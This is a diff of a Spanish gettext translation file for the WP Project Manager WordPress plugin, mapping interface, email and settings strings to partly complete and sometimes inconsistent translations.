+#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "Completado" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "Restaurar" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Notificar a usarios" + +#: views/assets/src/components/project-activities/activities.vue:46 +msgid "Load More ..." +msgstr "" + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" +"Utilice nuestro panel de Foros para crear un debate abierto, en un grupo de " +"discusión o una conversación privada. Tenga en cuenta que el administrador " +"puede moderarlas." + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "Añadir nuevo" + +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Crear nuevo mensaje" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "Cuándo utilizar los foros?" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "Para discutir un asunto de trabajo privado." + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "Para intercambiar archivos de forma privada." + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "Para discutir en grupo." + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "Para crear un Foro abierto visible para todos." + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "Foros" + +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +msgid "By" +msgstr "Por" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "en" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "Comentarios" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "-- Hito --" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "por" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:62 +msgid "No result found!" +msgstr "No se encontró ningún resultado!" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "- Categoría de proyecto -" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "Notificar a colaboradores" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "Activo" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "Todos" + +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Nuevo Proyecto" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "Nombre de usuario" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "Primer Nombre" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "Apellido" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "Email" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "No encontramos Proyectos." + +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Actividades" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Metas completas" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Completado en:" + +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Metas atrasadas" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" +"Crear un ciclo de vida de los proyectos mediante hitos. Marca de tiempo de " +"las diferentes etapas de su proyecto con varios hitos y también ayudará a la " +"gente a fin de asignar una fecha para completar el proyecto de acuerdo a los " +"pasos." + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "¿Cuándo usar Etapas?" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "Establezca una fecha para el proyecto en general." + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "Para dividir un proyecto en varias fases en tiempo de desarrollo." + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "Coordinar proyectos y personas asignadas oportunamente." + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Metas próximas" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +msgid "left -" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "Últimos 30 días" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "Usuarios" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" +"Puede listar todas sus Actividades en una sola discusión utilizando unos " +"componentes. Utilice estas listas para dividir un proyecto en varios " +"sectores, asignar colaboradores y comprobar el progreso." + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "¿Cuándo usar los Componentes?" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "Para dividir un proyecto interno." + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "Para marcar puntos de hito." + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "Para asignar personas a las Actividades." + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "Comentar esta Componente" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "No hay Actividades." + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "Mas Actividades" + +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nuevo Componente" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "Actividades incompletas" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "Actividades completadas" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "Volver a las listas de Actividades" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "Shift + Enter para salto de línea" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "Discutir esta actividad" + +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "Ajustes de E-Mail" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "Desde el correo electrónico" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "Enlaces en el correo electrónico" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "Enlace al escritorio" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" +"Seleccione dónde desea tomar el usuario. Correos electrónicos de " +"notificación contienen vínculos." + +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "Tipo de E-Mail" + +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "Mail HTML" + +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Texto Plano" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "Enviar correo electrónico a través de BCC" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "Habilitar Bcc" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "Configuración general" + +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Líminte de Subida de Archivos" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "Tamaño de archivo en megabytes. e.g: 2" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "Proyectos por página" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "-1 para un número ilimitado" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "Componentes por página" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "Actividades incompletas por página" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "Actividades terminadas por página" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "Capacidad de Gestión de proyectos" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" +"Elige el rol del usuario que puede ver y administrar todos los proyectos." + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "Capacidad de creación de proyectos" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +msgid "due date" +msgstr "" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Ver Actividad" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "Nuevo comentario" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "Comentado por" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "Hecho en" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "Ver comentario" + +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Nuevo Mensaje" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "Mensaje creado por" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "Titulo" + +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Ver Mensaje" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "Proyecto creado por" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "Hola" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "Estás asignado a un nuevo proyecto \"%s\" por %s." + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "Puedes ver el proyecto aquí:" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Ver Proyecto" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "La nueva actividad se te ha asignado" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "Creado por" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "Proyecto actualizado por" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +#, fuzzy +#| msgid "New task has been assigned to you" +msgid "Update task has been assigned to you" +msgstr "La nueva actividad se te ha asignado" + +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update" +msgid "Updated By" +msgstr "Actualizar" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "Te mencionaron en un comentario por" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "Da click en el link para ver el comentario." + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "Planes/Proyectos/Programas" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +#~ msgid "Add-ons" +#~ msgstr "Add-ons" + +#~ msgid "Project created by %s" +#~ msgstr "Proyecto creado por %s" + +#~ msgid "Project details updated by %s" +#~ msgstr "Detalles de proyecto actualizados por %s" + +#~ msgid "Message \"%s\" created by %s" +#~ msgstr "Mensaje \"%s\" creado por %s" + +#~ msgid "Message \"%s\" updated by %s" +#~ msgstr "Mensaje \"%s\" actualizado por %s" + +#~ msgid "Message with ID %d was not found in the database" +#~ msgstr "El Mensaje con la ID %d no fue encontrado en la base de datos" + +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Mensaje \"%s\" eliminado por %s" + +#~ msgid "Task list \"%s\" created by %s" +#~ msgstr "Componente \"%s\", creado por %s" + +#~ msgid "Task list \"%s\" updated by %s" +#~ msgstr "Componente \"%s\", actualizado por %s" + +#~ msgid "Task list \"%s\" deleted by %s" +#~ msgstr "Componente \"%s\" eliminado por %s" + +#~ msgid "Task \"%s\" added to task list \"%s\" by %s" +#~ msgstr "Actividad \"%s\" agregada al componente \"%s\" por %s" + +#~ msgid "Task \"%s\" updated by %s" +#~ msgstr "Actividad \"%s\", actualizada por %s" + +#~ msgid "Task \"%s\" completed by %s" +#~ msgstr "Actividad \"%s\", completada por %s" + +#~ msgid "Task \"%s\" marked as undone by %s" +#~ msgstr "Actividad \"%s\" marcada como incompleta por %s" + +#~ msgid "Task \"%s\" deleted from task list \"%s\" by %s" +#~ msgstr "Actividad \"%s\" eliminada del componente \"%s\", por %s" + +#~ msgid "%s commented on a %s" +#~ msgstr "%s comentó en una %s" + +#~ msgid "%s updated a comment on a %s" +#~ msgstr "%s comentario actualizado en una %s" + +#~ msgid "%s deleted a comment" +#~ msgstr "%s Eliminar comentario" + +#~ msgid "Milestone \"%s\" added by %s" +#~ msgstr "Etapa \"%s\" agregada por %s" + +#~ msgid "Milestone \"%s\" updated by %s" +#~ msgstr "Etapa \"%s\" actualizada por %s" + +#~ msgid "Milestone \"%s\" deleted by %s" +#~ msgstr "Etapa \"%s\" eliminada por %s" + +#~ msgid "Milestone \"%s\" marked as complete by %s" +#~ msgstr "Etapa \"%s\" marcada como completada por %s" + +#~ msgid "Milestone \"%s\" marked as incomplete by %s" +#~ msgstr "Meta \"%s\" marcada como incompleta por %s" + +#~ msgid "Link to Front-end" +#~ msgstr "Enlace al frente" + +#~ msgid "Task List Style" +#~ msgstr "Estilo de lista" + +#~ msgid "Pagination" +#~ msgstr "Paginación" + +#~ msgid "Lazy Load" +#~ msgstr "Carga Lenta" + +#~ msgid "Select the user roles who can create projects." +#~ msgstr "Seleccione el rol de usuario que puede crear proyectos." + +#~ msgid "- Select -" +#~ msgstr "- Seleccionar -" + +#~ msgid "Invalid project ID." +#~ msgstr "ID de Proyecto no válido." + +#~ msgid "Access Denied" +#~ msgstr "Acceso denegado" + +#~ msgid "Username is required." +#~ msgstr "Falta el nombre de usuario." + +#~ msgid "Invalid email" +#~ msgstr "Correo electrónico no válido" + +#~ msgid "Username already exist" +#~ msgstr "Este nombre de usuario ya existe" + +#~ msgid "Email already exist" +#~ msgstr "Dirección de correo electrónico ya existe" + +#~ msgid "Are you cheating?" +#~ msgstr "Erro: ¿Haciendo Trampa?" + +#~ msgid "Project ID required" +#~ msgstr "Se requiere ID de proyecto" + +#~ msgid "Project name is required." +#~ msgstr "Nombre del proyecto es necesario." + +#~ msgid "Start date is a date field and should be formatted as Y-m-d" +#~ msgstr "Fecha de inicio es un campo de fecha de formato Y-m-d" + +#~ msgid "Due date is a date field and should be formatted as Y-m-d" +#~ msgstr "Fecha final es un campo de fecha y de formato Y-m-d" + +#~ msgid "The task has been updated successfully." +#~ msgstr "La Actividad se ha actualizado con éxito." + +#~ msgid "The task has been marked as completed." +#~ msgstr "La Actividad ha sido marcada como completada." + +#~ msgid "The task has been reopened." +#~ msgstr "La Actividad ha sido reactivada." + +#~ msgid "Successfully updated" +#~ msgstr "Actualizado correctamente" + +#~ msgid "Error" +#~ msgstr "Error" + +#~ msgid "Add a comment..." +#~ msgstr "Añadir comentario..." + +#~ msgid "Successfully deleted comment" +#~ msgstr "Comentario borrado correctamente" + +#~ msgid "Create a new user?" +#~ msgstr "Crear un nuevo usuario?" + +#~ msgid "Successfully reordered" +#~ msgstr "Reordenado correctamente" + +#~ msgid "API key does not exist!" +#~ msgstr "Clave de API no existe!" + +#~ msgid "Secret key does not exist!" +#~ msgstr "Clave secreta no existe!" + +#~ msgid "API key does not match!" +#~ msgstr "Clave de API no coincide!" + +#~ msgid "Secret key does not match!" +#~ msgstr "Clave secreta no coincide!" + +#~ msgid "Project API Keys" +#~ msgstr "Claves API del Proyecto" + +#~ msgid "Generate API Key" +#~ msgstr "Generar clave de API" + +#~ msgid "Consumer Key:" +#~ msgstr "Clave Consumidor:" + +#~ msgid "Consumer Secret:" +#~ msgstr "Clave secreta del cliente:" + +#~ msgid "Revoke API Key" +#~ msgstr "Revocar la clave de API" + +#~ msgid "This feature is only available in the Pro Version." +#~ msgstr "Esta función sólo está disponible en la versión Pro." + +#~ msgid "Upgrade to Pro Version" +#~ msgstr "Actualización a la versión Pro" + +#~ msgid "Messages" +#~ msgstr "Mensajes" + +#~ msgid "message post type" +#~ msgstr "mesaje tipo post" + +#~ msgid "Add New Message" +#~ msgstr "Añadir nuevo Mensaje" + +#~ msgid "Edit Message" +#~ msgstr "Editar Mensaje" + +#~ msgid "Search Messages" +#~ msgstr "Buscar Mensajes" + +#~ msgid "No messages found." +#~ msgstr "No se encontraron Mensajes." + +#~ msgid "No messages found in Trash." +#~ msgstr "No hay mensajes en la papelera." + +#~ msgid "Parent Message" +#~ msgstr "Mensaje Padre" + +#~ msgid "Milestone" +#~ msgstr "Meta" + +#~ msgid "Add New Milestone" +#~ msgstr "Añadir una Meta nueva" + +#~ msgid "New Milestone" +#~ msgstr "Nueva Meta" + +#~ msgid "View Milestone" +#~ msgstr "Ver Meta" + +#~ msgid "Search Milestone" +#~ msgstr "Buscar Meta" + +#~ msgid "No milestones found." +#~ msgstr "No se encontraron Etapas." + +#~ msgid "No milestones found in Trash." +#~ msgstr "No hay etapas en la basura." + +#~ msgid "Parent Milestone" +#~ msgstr "Meta Padre" + +#~ msgid "[%s] Project Update Invitation: %s" +#~ msgstr "[%s] Invitación a actualizar proyecto: %s" + +#~ msgid "[%s][%s] Task Completed: %s" +#~ msgstr "[%s][%s] Actividad completada: %s" + +#~ msgid "[%s][%s] New Sub Task Assigned: %s" +#~ msgstr "[%s][%s] Nueva actividad asignada: %s" + +#~ msgid "Project" +#~ msgstr "Proyecto" + +#~ msgid "project manager post type" +#~ msgstr "manager de proyecto tipo post" + +#~ msgid "Add Project" +#~ msgstr "Añadir Proyecto" + +#~ msgid "Edit Project" +#~ msgstr "Aditar Proyecto" + +#~ msgid "Search Project" +#~ msgstr "Buscar Proyecto" + +#~ msgid "No projects found in Trash." +#~ msgstr "Proyectos no encontrados en la papelera." + +#~ msgid "Parent Project" +#~ msgstr "Poryecto Padre" + +#~ msgid "Search Project Categories" +#~ msgstr "Buscar categorías de proyectos" + +#~ msgid "All Project Categories" +#~ msgstr "Todas las categorías de proyectos" + +#~ msgid "Parent Project Category" +#~ msgstr "Categoría principal del proyecto" + +#~ msgid "Parent Project Category:" +#~ msgstr "Categoría de Proyecto Padre:" + +#~ msgid "Edit Project Category" +#~ msgstr "Editar categoría de proyecto" + +#~ msgid "Add New Project Category" +#~ msgstr "Agregar nueva categoría de proyectos" + +#~ msgid "New Project Category Name" +#~ msgstr "Nuevo nombre de la categoría del proyecto" + +#~ msgid "Sure to confirm pin task list" +#~ msgstr "Confirmas fijar Componentes" + +#~ msgid "Sure to confirm un-pin task list" +#~ msgstr "Confirmas eliminar componente" + +#~ msgid "File uploads" +#~ msgstr "Las cargas de archivos" + +#~ msgid "Attach a File" +#~ msgstr "Adjuntar un archivo" + +#~ msgid "Submit" +#~ msgstr "Enviar" + +#~ msgid "Add Task List" +#~ msgstr "Añadir Componente" + +#~ msgid "Update Task List" +#~ msgstr "Actualizar Componentes" + +#~ msgid "Are you sure to update task status?" +#~ msgstr "¿Seguro en actualizar el estado de la Actividad?" + +#~ msgid "from your computer" +#~ msgstr "desde su ordenador" + +#~ msgid "Attachments" +#~ msgstr "Archivos adjuntos" + +#~ msgid "Comment" +#~ msgstr "Comentario" + +#~ msgid "Private Task" +#~ msgstr "Actividad Privada" + +#~ msgid "Completed by" +#~ msgstr "Terminado por" + +#~ msgid "Add Comment" +#~ msgstr "Agregar comentario" + +#~ msgid "Are you sure to delete this file?" +#~ msgstr "¿Está seguro de que desea eliminar este archivo?" + +#~ msgid "Please write something in comments!" +#~ msgstr "Por favor, escriba algo en los comentarios!" + +#~ msgid "Add New Task List" +#~ msgstr "Añadir nuevo componente" + +#~ msgid "Edit Task List" +#~ msgstr "Editar Componentes" + +#~ msgid "View Task List" +#~ msgstr "Ver Componentes" + +#~ msgid "Search Task List" +#~ msgstr "Buscar Componentes" + +#~ msgid "No task lists found." +#~ msgstr "No hay componentes." + +#~ msgid "No task lists found in Trash." +#~ msgstr "No hay componentes en la papelera." + +#~ msgid "Parent Task List" +#~ msgstr "Componente Padre" + +#~ msgid "Add New Task" +#~ msgstr "Añadir nueva actividad" + +#~ msgid "Edit Task" +#~ msgstr "Editar Actividad" + +#~ msgid "New Task" +#~ msgstr "Nueva Actividad" + +#~ msgid "Search Task" +#~ msgstr "Buscar Actividad" + +#~ msgid "No tasks found in Trash." +#~ msgstr "Sin actividades en la papelera." + +#~ msgid "Parent Task" +#~ msgstr "Actividad Padre" + +#~ msgid "Task name is required." +#~ msgstr "Nombre de la actividad es requerido." + +#~ msgid "Current Task" +#~ msgstr "Actividad actual" + +#~ msgid "Outstanding Task" +#~ msgstr "Actividades pendientes" + +#~ msgid "Completed Task" +#~ msgstr "Actividad finalizada" + +#~ msgid "" +#~ "Want to help make WP Project Manager even more awesome?" +#~ msgstr "" +#~ "¿Quieres ayudar a hacer WP Project Manager más " +#~ "impresionante?" + +#~ msgid "" +#~ "Allow weDevs to collect non-sensitive diagnostic data and usage " +#~ "information." +#~ msgstr "" +#~ "Permite a weDevs recoger información no confidencial de los datos y el " +#~ "uso." + +#~ msgid "Enjoy 15% discount on upgrades and add-on purchase." +#~ msgstr "" +#~ "Obtén 15% de descuento en actualizaciones y " +#~ "complementos." + +#~ msgid "Number of projects and tasks" +#~ msgstr "Número de proyectos y Actividades" + +#~ msgid " is email field." +#~ msgstr " es un campo de correo." + +#~ msgid " is a date field and should be formated as Y-m-d." +#~ msgstr " es un campo de fecha con formato Y-m-d." + +#~ msgid "Pro Version" +#~ msgstr "Versión Pro" + +#~ msgid "WP Project Manager Pro - add-ons" +#~ msgstr "WP Project Manager Pro - add-ons" + +#~ msgid "Installed" +#~ msgstr "Instalado" + +#~ msgid "View Details" +#~ msgstr "Ver detalles" + +#~ msgid "Error fetching add-ons. Please try again later!" +#~ msgstr "Error fetching add-ons. Por favor, inténtelo de nuevo más tarde!" + +#~ msgid "Invalid post ID." +#~ msgstr "ID de publicación no válido." + +#~ msgid "Sorry! You are not assigned to this project." +#~ msgstr "¡ups! no estás asignado a este proyecto." + +#~ msgid "Sorry! You do not have permission to view this comments." +#~ msgstr "¡Lo lamento! no tienes permiso para ver estos comentarios." + +#~ msgid "Sorry! You do not have permission to view this comment." +#~ msgstr "¡Lo siento! no tienes permiso para ver este comentario." + +#~ msgid "Sorry! You do not have permission to edit this comment." +#~ msgstr "¡Lo siento! no tienes permiso para editar este comentario." + +#~ msgid "Invalid task list ID." +#~ msgstr "ID de componente no válido." + +#~ msgid "Sorry! You do not have permission to view this task list." +#~ msgstr "¡Lo lamento! no tienes permiso para ver esta componente." + +#~ msgid "Sorry! You do not have permission to create task list." +#~ msgstr "¡Lo lamento! no tienes permiso para crear componentes." + +#~ msgid "Invalid list ID." +#~ msgstr "ID de lista no válido." + +#~ msgid "Sorry! Permission denied to edit task list." +#~ msgstr "¡Lo siento! Permiso denegado para editar componentes." + +#~ msgid "Permission denied." +#~ msgstr "Permiso denegado." + +#~ msgid "Permanently deleted post" +#~ msgstr "Elemento eliminado permanentemente" + +#~ msgid "Deleted post" +#~ msgstr "Post eliminado" + +#~ msgid "Sorry! You do not have permission to view this message." +#~ msgstr "¡Lo lamento! no tienes permiso para ver este mensaje." + +#~ msgid "Message name is required." +#~ msgstr "Nombre del Mensaje requerido." + +#~ msgid "Sorry! You do not have permission to create message." +#~ msgstr "¡Lo lamento! no tienes permiso para crear mensajes." + +#~ msgid "Invalid message ID." +#~ msgstr "ID del mensaje no válido." + +#~ msgid "Sorry! You do not have permission to edit this message." +#~ msgstr "¡Lo lamento! no tienes permiso para editar este mensaje." + +#~ msgid "Sorry! Permission denied." +#~ msgstr "¡Lo siento! Permiso denegado." + +#~ msgid "Sorry! You do not have permission to view this milestone." +#~ msgstr "¡Lo lamento! no tienes permiso para ver este etapa." + +#~ msgid "Sorry! You do not have permission to create milestone." +#~ msgstr "¡Lo lamento! no tienes permiso para crear etapas." + +#~ msgid "Invalid milestone ID." +#~ msgstr "ID de hito no válido." + +#~ msgid "Sorry! You do not have permission to edit this milestone." +#~ msgstr "¡Lo lamento! no tienes permiso para editar este etapa." + +#~ msgid "Sorry! You do not have permission to delete this milestone." +#~ msgstr "¡Lo lamento! no tienes permiso para borrar este etapa." + +#~ msgid "You do not have permission to create projects." +#~ msgstr "Usted no tiene permiso para crear proyectos." + +#~ msgid "Cannot create project, something wrong!" +#~ msgstr "¡No se puede crear el proyecto, algo salió mal!" + +#~ msgid "You do not have permission to edit this project." +#~ msgstr "No tienes permiso para editar este proyecto." + +#~ msgid "Cannot edit project, something wrong!" +#~ msgstr "!No se pudo editar el proyecto, algo falló!" + +#~ msgid "You do not have permission to delete this project." +#~ msgstr "No tienes permiso para borrar este proyecto." + +#~ msgid "Sorry! You do not have permission to view this task." +#~ msgstr "¡Lo lamento! no tienes permiso para ver esta actividad." + +#~ msgid "Sorry! You do not have permission to create task." +#~ msgstr "¡Lo lamento! no tienes permiso para crear actividades." + +#~ msgid "Invalid task ID." +#~ msgstr "ID de actividad no válida." + +#~ msgid "Sorry! You do not have permission to edit this task." +#~ msgstr "¡Lo lamento! no tienes permiso para editar esta actividad." + +#~ msgid "Search by Client..." +#~ msgstr "Buscar por cliente..." + +#~ msgid "Search All..." +#~ msgstr "Buscar todos..." + +#~ msgid "- All Categories -" +#~ msgstr "- Todas las Categorias -" + +#~ msgid "Select Co-Workers" +#~ msgstr "Elegir colaboradores" + +#~ msgid "To attach, %sselect files%s from your computer." +#~ msgstr "Para adjuntar, %s selecciona los archivos %s de tu computadora." + +#~ msgid "file access denied" +#~ msgstr "se ha denegado el acceso al archivo" + +#~ msgid "Create" +#~ msgstr "Crear" + +#~ msgid "View Private" +#~ msgstr "Ver Privado" + +#~ msgid "Upload or create doc" +#~ msgstr "Cargar o Crear doc" + +#~ msgid "View Private files or docs" +#~ msgstr "Ver archivos privados o docs" + +#~ msgid "Delete project" +#~ msgstr "Eliminar proyecto" + +#~ msgid "Duplicate" +#~ msgstr "Duplicar" + +#~ msgid "«" +#~ msgstr "«" + +#~ msgid "»" +#~ msgstr "»" + +#~ msgid "You cannot use this field more than once!" +#~ msgstr "!No puedes utilizar este campo más de una vez!" + 